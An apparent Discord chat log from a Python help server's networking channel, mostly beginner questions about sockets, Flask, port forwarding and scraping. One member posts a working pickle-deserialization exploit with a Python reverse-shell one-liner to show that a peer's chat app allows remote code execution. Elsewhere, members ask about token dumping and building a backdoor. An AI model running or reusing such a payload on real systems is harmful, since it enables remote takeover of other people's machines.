#networks

1 messages Β· Page 23 of 1

drowsy shard
#

Please tag me if you answer

heavy saddle
#

so requests is networking I guess so ill pop my q in here just give me a sec

#

actually nvm

pale steeple
#

anything new on discord

loud shale
#

i want to make a multiplayer game with several "rooms/lobbys", but i can't find any tutorials for that. In all tutorials I found there can only be 1 "room" at a time. So I wanted to ask if you have any tipps what i should specificly search for when i want to do an online game with multiple "rooms" on one server?

ember ledge
#

Heeeey guys i need some advice about setting up a very simple multiplayer game (using pygame) where you have 2 squares on the screen and each player can control one. Is it a better idea to send the objects as a dictionary or send the pickled object but needing to define the same class on both the client and the server ?

storm saffron
#

why would you send pickled objects?!

#

you literally only need to send an x,y position

ember ledge
#

@storm saffron i wanna send the whole object with all its attributes etc so i thought it needs to be in byte form ?

storm saffron
#

yeah it does but why do you want to send the whole object with all its attributs

sacred trench
#

hello

#

its about networking thrrough socket

cloud cypress
#
from setup import prodottiAmazon, send_mail

app = Flask('__name__')


@app.route('/api', methods=['GET'])
def app():
    Query = str(request.args['Query'])
    return Query

app = Flask('__name__')

if __name__ in '__main__':
    app.run()```

when i run this script and i try to search the server on internet it give me 404 error
narrow oak
#

You don't usually put __name__ in quotes, secondly, are you sure that you're accessing it on localhost and with the right port?

sacred trench
#

Hello is it possible to host server through socket without port forward

ember ledge
#

It will only be accessible only on your network then I guess or you need an static ip @sacred trench

#

I am not sure though

#

@storm saffron why does it bother you that much that i wanna send a whole object ? is it because of performance ?

storm saffron
#

Yeah mostly

#

But there really just isn't any point in sending it like that

#

If all you want to send is about 8 bytes of position information then it's really overkill

#

But tbh for a project like this I'm sur eut will work

#

And it's probably nicer and easier than messing around with protocols

ember ledge
#

I'm not trying to mess around with protocols i just wanna try some magic methods on the objects etc you see ? @storm saffron

tribal frost
#

Morning

lament lantern
#

mornin' it's 7:00 where I am

warm rampart
obtuse gyro
#

Hey guys, i was wondering if anyone has any good resources to learn Networking modules for python such as Socket

lunar veldt
#

how do i fix this error?

lunar pasture
#

@lunar veldt try disabling some firewalls

lunar veldt
#

i have it disabled

lunar pasture
#

hmmm

lunar veldt
lunar pasture
#

huh

#

unrelatedly which text editor or ide arevu using @lunar veldt

#

and python 2 or 3

lunar veldt
#

python 3

#

but that's an online editor

storm saffron
#

uh

#

does the online editor let you use the internet?

lunar veldt
#

i think so

elder spoke
#

If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?

burnt salmon
#

If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?
@elder spoke There is volatile memory RAM and NV RAM ; all proccesses of transmission DATA between devices in a network still buffering or stored for a moments in RAM . when the computer will off ML , then DATA be losed from RAM

subtle escarp
#

netwERK

still yarrow
#

So I guess just trying to learn more about general networking, what exactly are "sockets" and what're they used for?

sacred trench
#

but that's an online editor
@lunar veldt use a proper local interpreter its more likely to work smh πŸ˜‚

#

If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?
@elder spoke hmmmmm are you trying to commit ddos

storm saffron
#

@elder spoke depends how valid the data seems

#

and at what layer

#

if it's gibberish ipv4 then it won't get out your network

#

if it's gibberish tcp but valid ipv4 then it won't get into their network

#

if it's gibberish http but valid tcp then it will probably get to the web server but might be dropped by a smart firewall or service like cloudflare

elder spoke
#

thanks

#

@sacred trench that is not my goal but i was trying to understand how an attack like that worked

sacred trench
#

Lmao sure

still yarrow
#

How should I go about sending multiple requests using sockets? I tried this:

    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s_sock = context.wrap_socket(s, server_hostname=HOST)
    s_sock.connect((HOST, PORT))
    async def send():
        s_sock.send(f"GET {ENDPOINT} HTTP/1.1\r\nHost: {HOST}\r\n\r\n".encode())
        print(str(s_sock.recv(4096), "utf-8").split("\r\n\r\n")[1])

    start = time.time()
    await asyncio.gather(*[send() for _ in range(20)])
    end = time.time()
    print(f"Time: {end-start}s")

Yet it's actually really slow and not as fast as I'd expect it to be

slender steeple
#

socket lin isn't async

#

it's blocking

still yarrow
#

Oh, that would make sense

#

So would I have to use something like threading?

slender steeple
#

Use the asyncio transports/streams

still yarrow
#

Oh, no idea what that is

slender steeple
still yarrow
#

Ah this is so complicated

#
async def get(url):
    url = urllib.parse.urlsplit(url)
    if url.scheme == 'https':
        reader, writer = await asyncio.open_connection(
            url.hostname, 443, ssl=True)
    else:
        reader, writer = await asyncio.open_connection(
            url.hostname, 80)

    query = (
        f"GET {url.path or '/'}\r\n"
        f"Host: {url.hostname}\r\n"
        "\r\n"
    )
    writer.write(query.encode())
    while True:
        line = await reader.readline()
        if not line:
            break

        line = line.decode().rstrip()
        if line:
            print(f'{line}')

    writer.close()
#

I got as far as this, but ssl doesn't seem to work?

#

ah you know what. I forgot "HTTP/1.1" in the headers

#

Could I perhaps have some help understanding how to send multiple requests asynchronously with sockets?

#

Idk if I did something wrong or what, but it's incredibly confusing and also incredibly slow

hazy vigil
#

hello can i get help related to web scrapper from here?

modest pebble
#

Yes, assuming it is allowed by the website’s ToS

errant bayBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

tribal frost
#

morning

burnt salmon
#

!python

#

!system

#

!kill

#

!bot

errant bayBOT
#
Command Help

!bot
Bot informational commands.

ocean moss
#

I have a RPI hooked up to a RPI camera. I have a Flask server that live streams video from the RPI to a client. I also have a route that will use send_file to send them a photo taken by the RPI.

The issue is I need to save two images to the RPI as well as sending them the file. One as a PNG and one as a JPEG. The JPEG will be sent to the user and stored on the RPI while the PNG will just be stored on the RPI.

The current Flask based system works like the following:

Capture image
Save as PNG
Save as JPEG
RETURN client JPEG file

However this means that the user has to wait for the RPI to save it as a PNG before they receive their image.

Is it possible to make a Flask system that does the following?:

Capture Image
Save as JPEG
Send client JPEG file
Save as PNG

tribal frost
#

wow, that sounds complex.

#

way too complex for this channel imo.

#

good luck though.

ocean moss
#

Not really

#

It just sounds it

tribal frost
#

it is for me. I have never used that system in specific.

#

:/

#

Flask I mean

ocean moss
#

Oh

tribal frost
#

I'm learning Django instead of Flask.

ocean moss
#

I essentially wanna go from this:

@web_app.route("/photo")
def photo():
  img = capture_photo()
  img.save("PNG")
  img.save("JPEG")
  return send_from_directory("", "<jpeg_path>", as_attachment=True)

To this:

@web_app.route("/photo")
def photo():
  img = capture_photo()
  img.save("JPEG")
  return send_from_directory("", "<jpeg_path>", as_attachment=True)
  img.save("PNG")
#

But I can't because of the return

#

The issue is the client has to wait for the RPI to save the image as a PNG and I don't want them to have to wait if they don't have to

tribal frost
#

this an issue of async i/o probably

#

you can maybe make a wrapper function or call another thread.

ocean moss
#

Yeah I was thinking of threading or using asyncio

tribal frost
#

that's where I would start

ocean moss
#

Not sure if it'd still stall the client though

narrow oak
#

Starting a new thread is probably what I would do, then just return the image while the heavy processing continues in the new thread

tribal frost
#

yeah I have heard of asyncio as the library to use for that too.

#

good to know.

ocean moss
#

Def gonna look into it, cheers

gloomy root
#

wouldnt use asyncio for image processing stuff

#

if you wanna save it after sending it back i'd use a simple thread

ocean moss
#

Also probably easier to implement threading instead of asyncio

still yarrow
#

Does anyone know how I can use asyncio to concurrently send HTTP requests?

prisma cobalt
#

Every tutorial i find uses the local network and ip and stuff, any good tutorials for non local networking?

still yarrow
#

It's the exact same

prisma cobalt
#

really?

still yarrow
#

Pretty much, yeah

prisma cobalt
#

oh

#

so you just specify the ip you want and it works?

still yarrow
#

except for HTTP you use port 80 and HTTPS is 443

#

and HTTPS needs SSL

prisma cobalt
#

i just use like 12345 or something

still yarrow
#

Yup, it should work but you need to portforward

prisma cobalt
#

um

still yarrow
#

like through your router

#

in order for devices to connect from the outside

#

or if you're using VPS's you need to edit the security settings and add the port

narrow oak
#

Does anyone know how I can use asyncio to concurrently send HTTP requests?
@still yarrow the aiohttp library does exactly that

ember ledge
#

is the chann free ?

still yarrow
#

@still yarrow the aiohttp library does exactly that
@narrow oak Still too slow for my needs, though

narrow oak
#

You can just type your question here if it's related to networking

still yarrow
#

I just want to use like asyncio streams send and read many requests at once

ember ledge
#

as an informatic and english beginner idunno what does it exactly is πŸ˜… but it looks like the more appropriated

#

i'm making a python code which downloads images from the web. I'm a beginner in this language so that maybe wasn't the better way :i used beautifulSoup4 to access the website html code and then get the src of images and download them with this link. But for some pages, i have a 403 error on pages that i can easily see as chrome user. So why does the programm can't access this webpage but me yes ? and if possible, how could the programm get (not necessarily with beautifulsoup) the html code og this page ?

slender steeple
#

user agent?

#

or cookies?

still yarrow
#

could also be using http instead of https

ember ledge
#

@slender steeple i saw that i could use requests.session for the cookies but i dont really know how to use it

#

could also be using http instead of https
@still yarrow but if i change it the url won't be the same no?

still yarrow
#

uh

#

no idea

ember ledge
#

you mean i should just replace the https by http in the url ?

still yarrow
#

I don't really know

gloomy root
#

i'm making a python code which downloads images from the web. I'm a beginner in this language so that maybe wasn't the better way :i used beautifulSoup4 to access the website html code and then get the src of images and download them with this link. But for some pages, i have a 403 error on pages that i can easily see as chrome user. So why does the programm can't access this webpage but me yes ? and if possible, how could the programm get (not necessarily with beautifulsoup) the html code og this page ?
@ember ledge Almost certainly due to the site implementing CORS or only allowing certain origins

#

basically you can only access the resources when its being loaded by the site

#

@still yarrow you can use asyncio.create_task() to create concurrent tasks

still yarrow
#

I tried that, but I get this error:

RuntimeError: read() called while another coroutine is already waiting for incoming data
ember ledge
#

basically you can only access the resources when its being loaded by the site
@gloomy root so when i come on the site it's okay but when my programm is directly asking ressources , error 403 occure ?

gloomy root
#

yes

#

because the website will see what its being referenced from and reject it

#

also this is about as far as we can help you with that because of rule 5

#

!rule 5

errant bayBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious or inappropriate. Do not help with ongoing exams. Do not provide or request solutions for graded assignments, although general guidance is okay.

gloomy root
#

@still yarrow you cant do concurrent read writes on the socket no, if you want it to be concurrent you need to send multiple requests

still yarrow
#

So is it impossible to read concurrent responses?

slender steeple
#

@gloomy root cors only applies to browsers

gloomy root
#

yeah which is why the site can check references

#

if you as a site have a setup where you know only your site is going to be sending xyz as part of the site

#

and a random request comes in without those specifics

slender steeple
#

you can spoof referer

gloomy root
#

yes ik

slender steeple
#

but yeah rule 5

ember ledge
#

and would you accept to go dm ? i'd understand if it wasnt the case πŸ˜…

gloomy root
#

no

ember ledge
#

okay no problem

gloomy root
#

@still yarrow cant do concurrent reads on the same socket

#

because dataraces exist

still yarrow
#

Hmm, alright then

still yarrow
#

Wait so how can I send multiple HTTP requests via sockets?

#

I notice that when trying to just use write multiple times, that it only sends once

storm saffron
#

why are you sending http requests via sockets

gloomy root
#

You have to create multiple connections

#

Each connection represents a single request

tall basin
#

Hey everyone...
So I wanted to get started with networking...
Can someone share me resources I should go through...

PS: I have worked on few minor programs before...
I want to get hold on some theory...

exotic solar
#

i was going to ask the same thing

narrow oak
#

There are some links to great resources in the bottom of the pinned message. What I suggest is to create a simple tcp chat app using sockets. Then maybe look into the OSI model and continue from there.

ocean moss
#

On Flask, how do I redirect to the home page?

@web_app.route("/test")
def test():
    return redirect(url_for("/"))  # DOESNT WORK

@web_app.route("/")
def main_page():
  ...
#

Found a fix don't worry -

@web_app.route("/test")
def test():
    return redirect(url_for("main_page"))  # Supposed to use the function route names...

@web_app.route("/")
def main_page():
  ...
still yarrow
ocean moss
#

Thought I was in the right channel sorry

still yarrow
#

How does one send a POST request using sockets? I'm a little confused

ember ledge
#

i was trying to send a image through sockets. I used pyautogui.screenshot() and sent it through socket but it didnt work, because of threading probbably i think. when i ran a test script without threading that worked. Can anyone help me im basically trying to send commands to my pc through laptop and for sending commands through and recieving data at the same time im using threading, can anyone help me out?

storm saffron
#

@still yarrow you'll need to send a TCP packet with the correct format

still yarrow
#

Oh, I ended up figuring it out

#

it really just goes right under \r\n\r\n

storm saffron
#

So something like

POST /url
#

Yeah it does lol

#

So many people struggle with that cause it's hard to notice

#

And not obvious that it'd require /r as well

still yarrow
#

yeah, lol

prisma cobalt
#

Does anyone know of an up to date (Python 3) networking tutorial thats actually useful?

prisma cobalt
#

Also why isnt this working:

import socket

Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Sock.bind(("194.75.no.no", 8080))
Sock.listen(5)

while True:
    clientsocket, address = Sock.accept()
    print(f"Connection from {address}")
    clientsocket.send(bytes("Welcome", "utf-8"))
#

Obviously no are numbers

frozen drum
#

@prisma cobalt

prisma cobalt
#

It doesnt print "connection..."

#

that ip adress is my public ipv4? in the client code that is

frozen drum
#

the host you are specifying in Sock.connect (the IP) is effectively the IP of your host

#

it can also be None (to bind on all interfaces) or 0.0.0.0 (basically the equivalent AFAIK)

prisma cobalt
#

its the public ipv4 address?

#

sorry im a bit new at this

frozen drum
#

well that depends on the setup of your network, but no not if you are using NAT

#

which you most likely are

prisma cobalt
#

so what do i put in socket.connect()?

frozen drum
#

0.0.0.0 I would suggest

prisma cobalt
#

how does that know to connect to the server?

#

lets say im on a different network

frozen drum
#

with this you are creating a listening socket that is waiting for connections

#

not something that connects to another place

#

the IP you specify is the IP to react on when receiving packets

#

0.0.0.0 is shorthand for just accept connections on that port for all IP addresses

prisma cobalt
#

wait a sec im not sure i fully understand (sorry)
if i have two devices in different networks:
in my server script i put 0.0.0.0
in my client script i put 0.0.0.0

frozen drum
#

in your client script you need to put the IP (or dns name) of the server

#

in the server you usually put 0.0.0.0 unless you have a reason not to

prisma cobalt
#

ok i think ive got it, but just to check:
in server: SSocket.bind(("0.0.0.0", 8080))
in client: My servers public ipv4 address?

frozen drum
#

depends on where the client is, but yes πŸ™‚

#

in the client you need to use socket.connect

prisma cobalt
#

this gud ^^? πŸ˜†

frozen drum
#

yeah, looks good

prisma cobalt
#

the server doesnt seem to print a message tho

#

odd

storm saffron
#

are you connecting with the public ip?

#

if so have you port forwarded

#

otherwise your router won't be letting the packets in

prisma cobalt
#

i think thats it

storm saffron
#

have you port forwarded

prisma cobalt
#

um.....

#

maybe?... πŸ™‚

#

i havnt done anything special

#

il do that now

#

this isnt working

frozen drum
#

the problem is your network configuration, not the code

#

if you want to access the socket server with a client outside your network you need to do NAT forwarding and/or open up your firewall

slender steeple
#

^ otherwise no reqs will go to your computer

prisma cobalt
#

So option 1: disabling firewall
Option 2: some fancy pants NAT forwarding

zealous geyser
#

i need some feedback on this program i designed, its basically a networking application meant to let people chat with people around the world you can use
a plugin system to modify the server to make secure chat rooms, minigame servers, or servers of any kind https://github.com/FeedFall8/loqueres-cord

gloomy root
#

well for starters readability and pep 8 be a bit dammed

#

for a beginner socket project seems alright overall

#

but pep 8 man

slender steeple
#

first 10 lines of client:

server=__import__('server')
version='1.0.1'
import time
import _thread
import threading,pickle,os
def runserver():
    try:
        os.system('loquere-server.py')
    except Exception as e:
        print("error:",e)
#

a few things:

#

why __import__ and _thread

#

use subprocess instead of os.system to avoid an extra shell

#

you have 3 imports grouped on the same line

#

but the other 2 are separate?

#

except Exception is bad - also applies to the rest of your code

#

also the os.system breaks on linux

#

server crashes with a keyerror?

slender steeple
#

also

#

this is all you need to get full RCE on a client

#
from pwnlib.tubes.listen import listen
import pickle
import os
class PickleRCE:
        def __init__(self, cmd):
                self.cmd = cmd

        def __reduce__(self):
                return os.system, (self.cmd, )
ip = "127.0.0.1"
port = 3000
l = listen(19132,ip)
s = listen(port,ip)
l.wait_for_connection()
l.recv()
l.send(pickle.dumps(PickleRCE(f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")))
s.wait_for_connection()
s.interactive()
ember ledge
#

is there a library which i could use to connect my network via multiple proxies, like a proxychain?

frigid ruin
#

hi is anyone able to help me with a wevtutil query

lunar veldt
#

Hi, how can i find the handshake in Wireshark?

raw moon
#

Hey all πŸ™‚ Having a brain fart and hoping this is a simple one but wondering if anyone can help find the best way to create a list of logically similar CIDR blocks... i.e. we have blocks reserved for each env (i.e. dev, test and prod), I've got the logic for finding used and available blocks, but from the available I need to return this logically groupped sets. This is the example set of CIDR's using 3 supernets:

[
  [
    '10.100.0.0/22',
    '10.100.8.0/22',
    '10.100.12.0/22',
    '10.100.16.0/22'
  ],
  [
    '10.101.0.0/22',
    '10.101.4.0/22',
    '10.101.8.0/22',
    '10.101.12.0/22'
  ],
  [
    '10.102.4.0/22',
    '10.102.8.0/22',
    '10.102.28.0/22',
    '10.102.32.0/22'
  ]
]

What I want out of that is a list containing ['10.100.8.0/22', '10.101.8.0/22', '10.102.8.0/22']... thinking I'm just overcomplicating it in my head after staring at it too much :/

karmic falcon
#

@raw moon create a dict with keys dev, test, prod and give these attributes to respective keys?

#
networks = {
    'dev': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22'], 
    'prod': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22'], 
    'test': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22']
}

then to access an item, e.g dev:

networks['dev']
raw moon
#

Sorry, copy/paste error - this isn't currently a nested list - they are actually all values of a dict exactly as you mention - i.e. the 10.100 is:

development: [
    '10.100.0.0/22',
    '10.100.8.0/22',
    '10.100.12.0/22',
    '10.100.16.0/22'
]
#

the problem is that I want to retrieve the similar subnets - I know how to get all CIDR's per environment, but I want the ones that match up on the 3rd octet, i.e. the 10.*.8.0/22 one in this example

karmic falcon
#

you can search each item in the list and check the ones that match a regex for your desired pattern

raw moon
#

yeah that's what I'd thought about originally, just wasn't sure it was a "nice" way to do it - but yeah, will do that πŸ™‚

marsh carbon
#

Hello, How show value of an edge with bqplot.marks.Graph

#

I would like show value of edges of my graph

link_data = [{'source': rank[edge[0]],
                  'target': rank[edge[1]],
                  'value' : "value of my edges"}]

But nothing appears
I search on some plateform but i found nothing
Thank's for help
Ps : All of my code is done with bqplot so don't advise me to use another library please

lost orbit
#

Hello, has anyone worked with Siemens s7 1500 PLCs ?
I wanted to read / write some variables from the PLC DB (Database)
I used the python module called snap7, did all the required procedures however without luck

marsh nacelle
#

Hello. Can someone give me an example of a client's message in HTTP?

marsh carbon
#

Ohh thin. I confused networkx (for graph) with networking

prisma cobalt
#

Can someone tell me how to portforward port 8080

storm saffron
#

all the port fields should be 8080

prisma cobalt
#

And protocol?

#

Anything right?

storm saffron
#

yep

prisma cobalt
#

if two devices on different networks wanted to talk to each other, both of them would have to port forward? and if so it would have to the same port right?

#

My device can connect to itself if i run both of the scripts above

#

however a laptop of the same network cant

#

im assuming its something to do with localhost but how do i get 2 devices on DIFFERENT networks communicating

ember ledge
#

i'm making a online game server. can someone help me

#

i have some codes

#

it's working in my pc but i dont know how to play with my friends

prisma cobalt
#

@ember ledge sounds to me like we both have problems connecting to different networks

still yarrow
#

I noticed that my router was just plain messed up when it came to port forwarding

#

any web servers I have, I ended up hosting on AWS

storm saffron
#

@prisma cobalt are you wanting same or different network

#

if it's the same network then you don't need to port-forward

ember ledge
#

i want different network

narrow oak
#

The server needs to be run on its public IP and the port must be open and/or the firewall must allow inbound connections on that specific port / for that specific process. If it still doesnt work for the clients to connect they might also heed to allow outbound connections to that IP, but this isnt often a problem.

rancid cosmos
#

has anyone worked with socketio

#

i was working on an app and i needed to use flask_socketio to work on a chat feature

#

however i keep getting a GET /socket.io/?EIO=3&transport=polling&t=NN8cGDa HTTP/1.1" output, it seems to be constantly polling

#

how can i turn this off? I need to push something to depoloyment and want to "turn off" the websocket because i haven't tested it yet on the server

storm saffron
#

are you using socketio anywhere

rancid cosmos
#

i dont believe i am

#

i even switched git branches

#

and pulled new code

#

but its still running

#

idk if it has something to do with the server?

#

there were some warnings about installing some server component for handling continuous requests

rancid cosmos
#

😦

#

im so desperate

storm saffron
#

so you get that request being made from your code

#

when running locally?

prisma cobalt
#

Any idea on how to create a webpage you can access from entering the ip and port

frozen drum
#

if you're behind carrier NAT, you need to buy a public IP
if not, you just need to forward the relevant ports to a device behind your router (80/443)

prisma cobalt
#

I did forward the ports and it allows me to connect but i get a page not found because i havnt created a page, how would i create and implement a page (maybe in html or something)

storm saffron
#

what are you using to host

#

if python then you can use a library like flask

#

you can test it locally as well so you don't have to worry about large-scale deployment while developing

rough bear
#

is this the right place to ask about websockets

prisma cobalt
#

yes its networking

analog umbra
#

hello

#

can i ask about API's here?

slender steeple
#

that's it for this channel

#

*ot

#

this is for lower level stuff

analog umbra
#

huh?

prisma cobalt
#

Can anyone tell me why, after the first message sent from client, it loops to infinity and prints "" on the client side

graceful shadow
#

Hi, I was writting a short python script and I got stuck on reggrex. Given that the password policy has the requirements below, implement a function to print out the names of all employees with weak passwords.β€’At least 8 characters in lengthβ€’Must have a combination of upper- and lower-case charactersβ€’Must have at least 1 digit.

#
def weak_passwords():
  employee_data = read_data()
  for row in employee_data:
      if not (re.match(r'[a-z]+[A-Z]+\d+', row[6] and len(row[6]) >=8):
print(row[6])

weak_passwords()
#

It's matching passwords that do meet the requirements

spark seal
lunar veldt
#

what is the purpose of that @spark seal

storm saffron
#

@spark seal why do you json.dump then load immedaitely after

lunar veldt
#

yep, that's useless

#

Looks like a token stealer tbh

#

Also, r.headers dictionary doesn't have any authorization key

spark seal
#

Parece um ladrΓ£o de tokens tbh
@lunar veldt I'm not a token thief, I just want to create a python file to facilitate access to the token

slender steeple
#

uh isn't authorization a request header?

#

you're dumping the resp header

#

and it wont work anyways

spark seal
#

ok, thanks

lunar veldt
#

@lunar veldt I'm not a token thief, I just want to create a python file to facilitate access to the token
@spark seal Yup sure, that's why you're dumping it in a file called tokens.txt

#

Kinda suspicious

nocturne widget
#

Hello, would anyone be willing to help me, or provide me with some resources on how to handle a stream of json objects in python? Im implementing a dashboard that fetches live data. The api documentation says that the request "returns a stream of JSON documents and heartbeats (empty lines)" when i submit the following request it runs indefinitely. req2 = requests.get(livestream_request, headers= {'accept-encoding':'gzip', 'authorization': api_key}) Any help is appreciated!

still yarrow
#

Maybe you need to use ```json
{"connection": "close"}

nocturne widget
#

thank you @still yarrow but it didn't work ): I'm assuming i would want to keep the connection open since I'm implementing a dashboard the displays live data. I just cant find any resources on how to handle to JSON documents

narrow oak
#

How are you accessing the returned value? Does req2.json() work?

river tapir
#

hi, im currently making a backdoor with sockets and im wondering how i can translate these linebreaks so the text gets formatted the right way in my shell

narrow oak
#

!rule 5

errant bayBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious or inappropriate. Do not help with ongoing exams. Do not provide or request solutions for graded assignments, although general guidance is okay.

narrow oak
#

a backdoor kinda falls under that rule lol

uneven juniper
#

I am trying to connect to my python socket server which i have deployed on heroku
This is my server and i don't know what is the ip address and port no to bind

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(())# I don't know what is the port no and ip address to bind
s.listen(3)
conn,add = s.accept()
while True:
   conn.send(bytes('HelloWorld','utf-8'))

And this is my client

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(())# I don't know what is the port no and ip address of the server to connect

while True:
   print(s.recv(1024).decode())

Can anyone help me how to solve this prob??? please
Thanks in advance

river tapir
#

if im using it for my own no @narrow oak

#

even so im just asking for help with linebreaks i dont see a problem there

narrow oak
#

this discussion has been done a hundreds times, you can take it with the moderators and staff team, not me.

river tapir
#

basically its a shell from my pc to my rasp how is that illegal tf

#

im just asking why its formatting that way

#

???

narrow oak
#

there is no way for us to know that you dont have malicious intentions. ( <@&267629731250176001> )

river tapir
#

?

#

im asking why its formatting that way

#

do you understand

#

nothing more nothing less

meager sundial
#

i am new to networking........ and is server-client communication the only possible way to make a chat app.......are there other ways of communication like the one used in whatsapp which uses cellular internet connection of a phone.....are there any sort of thing like that in python ???

ember ledge
#

I am new to networking, i have a question, can i host a WLAN server on my network with sockets to make a chat application and my friend join the server and talk to each other?

narrow oak
#

@meager sundial The most easiest ways included sockets somehow. Web sockets, raw sockets are some great options. Alternatively use an existing SDK / API to build your chat app. For instance Google Firebase which is a database where you can store the messages and get notified when there is an update. I dont know if there are ways to directly use python and celluar internet connections, sounds very low level and might be possible to implement in other language.

#

@ember ledge You can. But you'd need to use your public ip to bind your server and also allow port forwarding so the connections goes to your process. You might also need to configure your firewall to allow inbound connections. Clients must then use your IP to connect.

meager sundial
#

oh tnx @narrow oak

ember ledge
#

any reason why requests.get("https://ifconfig.me", proxies={proto: endpoint}) wouldn't raise an error when connecting to proxy

#

but the response returns my own IP and not the one of the proxy?

#

ifconfig.me is for fetching back the connecting IP to the server

slender steeple
#

uh that proxy arg looks wrong

#

whats proto?

#

plus your proxy might set x-forwarded-for

#

@ember ledge

ember ledge
#

@slender steeple

#

http/https

#

trying both

#

it would make perfect sense if the error was raised

#

i mean most proxies im trying are dead

#

but it doesnt raise any error

#

even if proxy sets the x-forwarded-for the odds are very tiny that it will be used by the final server

#

what I am also unsure about is the format of a proxy arg aka is it
proxies={"http", "http://myprox:80")
or
proxies={"http", "myprox:80")

#

the documentation says the other

gloomy root
#

Try it and see

ember ledge
#

I gave up and used curl with --proxy option instead

soft wind
#

hey guys a quick question. I am trying to connect to a mysql server using python (mysql.connector) on windows and I keep getting this error. (10060 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond)

icy quartz
#

Hello, not sure if this is the right section to ask, if i have my python program on 10 different computers, can they al laccess the same database file without having to set up a server?

ember ledge
#

no?

#

where is the database file

icy quartz
#

at the moment on the pc the program is on

#

but if say, 20 people use the program, they wont be able to say access a google drive and get the file from there?

drowsy slate
delicate gyro
#

Hello friends,

I'm trying to get app server to communicate with db server aws. Both are ec2 instances.

I was able to get the app server to communicate with the db server via public IP, but I want to do it through private IP because app server doesn't have an elastic IP yet.

I was wondering what should I do?

delicate gyro
#

Some more information, they're under the same vpc but different subnet.

split moat
#

@delicate gyro Are the subnets routable to eachother?

#

If so; just use the private dns names/ips

delicate gyro
#

Hey @split moat ,

you are totally correct. I should have updated my post that I found the solution.

The way I was accessing the instance from the other one was from a public interface instead of a private one.

Thank you nonetheless, I really appreciate it.

rough bear
#

what's the difference between doing await websocket.recv() and async for message in websocket:

velvet rapids
#

await websocket.recv() will receive one frame and I'm pretty sure async for message websocket will receive frames until the websocket closes

#

I just assumed you were talking about aiohttp

rough bear
#

wait so in this code

async def counter(websocket, path):
    # register(websocket) sends user_event() to websocket
    await register(websocket)
    try:
        await websocket.send(state_event())
        async for message in websocket:
            data = json.loads(message)
            if data["action"] == "minus":
                STATE["value"] -= 1
                await notify_state()
            elif data["action"] == "plus":
                STATE["value"] += 1
                await notify_state()
            else:
                logging.error("unsupported event: {}", data)
    finally:
        await unregister(websocket)


start_server = websockets.serve(counter, "localhost", 6789)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

could you explain what's going on in regards to a client connecting and async for message websocket

#

i'm a little confused. is this function ran constantly until the connection is closed or ?

nocturne widget
#

How are you accessing the returned value? Does req2.json() work?
@narrow oak that’s my next line and it doesn’t even get to it. Runs infinitely on the request. Not sure what that indicates. before hand I had a timeout parameter and my request would just timeout everytime

ember ledge
#

Anyone know of any python wrappers or libraries that I can use for Microsoft Oauth2?
Or simply an example of using the basic profile and email scopes to get someone's information

sacred trench
#

Hello. So now I have access to an internet connection with wiki and password. What can I do with it? (Pls, in terms of security and hacking, note that is my own router I want to try something new that is related to hacking)

sacred trench
#

Hi

wary blaze
#

Hi! I have to use WebDAV for automated data exchange. There are several modules on PyPI. Which is recommended? I tried webdavclient3. Most seems a bit outdated.

storm saffron
#

@sacred trench wiki and password?

#

And there's not really very much you can do against a single router if you're a complete beginner

#

Maybe try some online challenges to learn the basics

winged river
#

this isn't too related, but how tf do you install requests with python 2

#

if I do pip(instead of pip3, Im on linux) install requests, it points to the python3 installation of requests, but if I try to execute it with python code.py it says couldn't import requests?!

gloomy root
#

why are you on python 2

#

thats teh bigger question

gloomy root
#

Okay, if someone could help me understand why this isnt port forwarding properly it would be much appreciated cuz its really fucking testing atm.

#

and we still have no requests getting through

analog marsh
#

does anybody know a library to capture packets in python?
like Npcap and SharpPcap

slender steeple
#

@winged river pip2 install requests (assuming you have python2 pip installed)

#

but why are you using py2 in the first place

winged river
#

I tried pip2 but it didnt work

slender steeple
#

first

#

why py2

winged river
#

I had a payload for a try hack me challenge

slender steeple
#

oh i see

#

are you on kali?

winged river
#

and I didnt know how to fix some stuff that had changed in urllib from 2 to 3

#

no ubuntu

slender steeple
#

uh first check sudo apt install python-pip

#

only works if your version of ubuntu is old enough

winged river
#

20.04 lts ...

slender steeple
winged river
#

seems new to me

#

ok thx

slender steeple
#

using python2

frozen drum
slender steeple
#

hm can scapy capture packets?

#

yep it can

#

@analog marsh also checkout scapy and pyshark

analog marsh
#

I will check

#

thx

lucid loom
#

@gloomy root Make sure when they try to connect there using your public ip address not local

#

also make sure your firewall setting will allow that port

versed wing
#

hi guys

#

any resources to learn networking from/

#

from the base up?

rough bear
#

how can i make it so that the client doesn't cut after it sends the first message, i tried a while True loop but that doesn't do anything

lunar veldt
#

how do i use proxy with authentication in requests?

prisma cobalt
#

What does await do? Just general question like does it wait until it returns something

agile geode
#

Can someone help me, I'm trying to set the ip of a router that is connected to another router and switch but It's locked
is there a way to go through one of the routers or switch to apply an IP address to the router that is locked?

narrow oak
#

@lunar veldt you can specify a proxy kwarg when calling request methods, which accepts a dictionary with the protocol (string), being the key and a string "ip:port", being the value.

#

